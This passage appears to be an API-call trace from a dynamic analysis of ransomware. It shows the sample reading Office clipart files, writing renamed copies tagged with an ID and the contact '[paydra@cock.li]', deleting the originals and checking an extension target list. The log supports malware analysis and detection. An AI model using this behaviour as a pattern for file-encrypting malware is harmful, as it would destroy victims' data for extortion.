Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.018] GetLastError () returned 0x0 [0052.018] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x13a6, lpOverlapped=0x0) returned 1 [0052.020] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x13b0, lpOverlapped=0x0) returned 1 [0052.020] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.021] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.021] SetEndOfFile (hFile=0x208) returned 1 [0052.021] CloseHandle (hObject=0x208) returned 1 [0052.021] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.021] SetEndOfFile (hFile=0x17c) returned 1 [0052.022] CloseHandle (hObject=0x17c) returned 1 [0052.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0052.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0052.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0052.022] lstrlenW (lpString=".doc") returned 4 [0052.022] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.022] lstrlenW (lpString=".docx") returned 5 [0052.022] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.022] lstrlenW (lpString=".pdf") returned 4 [0052.022] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.022] lstrlenW (lpString=".xls") returned 4 [0052.022] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.022] lstrlenW (lpString=".xlsx") returned 5 [0052.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.022] lstrlenW (lpString=".ppt") returned 4 [0052.022] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0052.022] lstrlenW (lpString=".zip") returned 4 [0052.022] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.022] lstrlenW (lpString=".rar") returned 4 [0052.022] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.022] lstrlenW (lpString=".bz2") returned 4 [0052.023] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.023] lstrlenW (lpString=".7z") returned 3 [0052.023] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0052.023] lstrlenW (lpString=".dbf") returned 4 [0052.023] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0052.023] lstrlenW (lpString=".1cd") returned 4 [0052.023] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0052.023] lstrlenW (lpString=".jpg") returned 4 [0052.023] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.023] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1146) returned 1 [0052.023] CloseHandle (hObject=0x17c) returned 1 [0052.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0052.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.023] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.023] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.024] GetLastError () returned 0x0 [0052.024] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x47a, lpOverlapped=0x0) returned 1 [0052.026] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x480, lpOverlapped=0x0) returned 1 [0052.027] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.027] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.027] SetEndOfFile (hFile=0x208) returned 1 [0052.027] CloseHandle (hObject=0x208) returned 1 [0052.027] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.027] SetEndOfFile (hFile=0x17c) returned 1 [0052.028] CloseHandle (hObject=0x17c) returned 1 [0052.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0052.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0052.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0052.029] lstrlenW (lpString=".doc") returned 4 [0052.029] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.029] lstrlenW (lpString=".docx") returned 5 [0052.029] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.029] lstrlenW (lpString=".pdf") returned 4 [0052.029] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.029] lstrlenW (lpString=".xls") returned 4 [0052.029] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.029] lstrlenW (lpString=".xlsx") returned 5 [0052.029] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.029] lstrlenW (lpString=".ppt") returned 4 [0052.029] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0052.029] lstrlenW (lpString=".zip") returned 4 [0052.029] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.029] lstrlenW (lpString=".rar") returned 4 [0052.029] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.029] lstrlenW (lpString=".bz2") returned 4 [0052.029] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.029] lstrlenW (lpString=".7z") returned 3 [0052.029] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0052.029] lstrlenW (lpString=".dbf") returned 4 [0052.029] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0052.029] lstrlenW (lpString=".1cd") returned 4 [0052.029] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 63 [0052.029] lstrlenW (lpString=".jpg") returned 4 [0052.029] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.030] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=7583) returned 1 [0052.030] CloseHandle (hObject=0x17c) returned 1 [0052.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0052.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0052.030] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.030] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.030] GetLastError () returned 0x0 [0052.030] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x1d9f, lpOverlapped=0x0) returned 1 [0052.370] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1da0, lpOverlapped=0x0) returned 1 [0052.371] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.371] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.371] SetEndOfFile (hFile=0x208) returned 1 [0052.371] CloseHandle (hObject=0x208) returned 1 [0052.371] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.371] SetEndOfFile (hFile=0x17c) returned 1 [0052.372] CloseHandle (hObject=0x17c) returned 1 [0052.372] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.372] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0052.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0052.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0052.373] lstrlenW (lpString=".doc") returned 4 [0052.373] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.373] lstrlenW (lpString=".docx") returned 5 [0052.373] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0052.373] lstrlenW (lpString=".pdf") returned 4 [0052.373] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.373] lstrlenW (lpString=".xls") returned 4 [0052.373] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.373] lstrlenW (lpString=".xlsx") returned 5 [0052.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0052.373] lstrlenW (lpString=".ppt") returned 4 [0052.373] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0052.373] lstrlenW (lpString=".zip") returned 4 [0052.373] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.373] lstrlenW (lpString=".rar") returned 4 [0052.373] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.373] lstrlenW (lpString=".bz2") returned 4 [0052.373] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.373] lstrlenW (lpString=".7z") returned 3 [0052.373] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0052.373] lstrlenW (lpString=".dbf") returned 4 [0052.373] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0052.373] lstrlenW (lpString=".1cd") returned 4 [0052.373] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63 [0052.373] lstrlenW (lpString=".jpg") returned 4 [0052.373] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.374] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.374] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.374] GetLastError () returned 0x0 [0052.374] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xd10, lpOverlapped=0x0) returned 1 [0052.375] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0052.376] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.376] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.376] SetEndOfFile (hFile=0x208) returned 1 [0052.376] CloseHandle (hObject=0x208) returned 1 [0052.377] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.377] SetEndOfFile (hFile=0x17c) returned 1 [0052.377] CloseHandle (hObject=0x17c) returned 1 [0052.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0052.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0052.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0052.378] lstrlenW (lpString=".doc") returned 4 [0052.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.378] lstrlenW (lpString=".docx") returned 5 [0052.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.378] lstrlenW (lpString=".pdf") returned 4 [0052.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.378] lstrlenW (lpString=".xls") returned 4 [0052.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.378] lstrlenW (lpString=".xlsx") returned 5 [0052.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.378] lstrlenW (lpString=".ppt") returned 4 [0052.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0052.378] lstrlenW (lpString=".zip") returned 4 [0052.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.378] lstrlenW (lpString=".rar") returned 4 [0052.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.378] lstrlenW (lpString=".bz2") returned 4 [0052.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.378] lstrlenW (lpString=".7z") returned 3 [0052.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0052.378] lstrlenW (lpString=".dbf") returned 4 [0052.379] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0052.379] lstrlenW (lpString=".1cd") returned 4 [0052.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0052.379] lstrlenW (lpString=".jpg") returned 4 [0052.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.379] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.379] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.379] GetLastError () returned 0x0 [0052.379] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x63c, lpOverlapped=0x0) returned 1 [0052.381] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x640, lpOverlapped=0x0) returned 1 [0052.382] ReadFile (in: hFile=0x17c, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.382] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.382] SetEndOfFile (hFile=0x208) returned 1 [0052.382] CloseHandle (hObject=0x208) returned 1 [0052.382] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.382] SetEndOfFile (hFile=0x17c) returned 1 [0052.383] CloseHandle (hObject=0x17c) returned 1 [0052.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0052.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0052.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0052.383] lstrlenW (lpString=".doc") returned 4 [0052.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.383] lstrlenW (lpString=".docx") returned 5 [0052.383] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.383] lstrlenW (lpString=".pdf") returned 4 [0052.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.383] lstrlenW (lpString=".xls") returned 4 [0052.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.383] lstrlenW (lpString=".xlsx") returned 5 [0052.383] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.383] lstrlenW (lpString=".ppt") returned 4 [0052.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0052.384] lstrlenW (lpString=".zip") returned 4 [0052.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.384] lstrlenW (lpString=".rar") returned 4 [0052.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.384] lstrlenW (lpString=".bz2") returned 4 [0052.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.384] lstrlenW (lpString=".7z") returned 3 [0052.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0052.384] lstrlenW (lpString=".dbf") returned 4 [0052.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0052.384] lstrlenW (lpString=".1cd") returned 4 [0052.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 63 [0052.384] lstrlenW (lpString=".jpg") returned 4 [0052.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.387] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=7968) returned 1 [0052.387] CloseHandle (hObject=0x160) returned 1 [0052.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 0x20 [0052.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 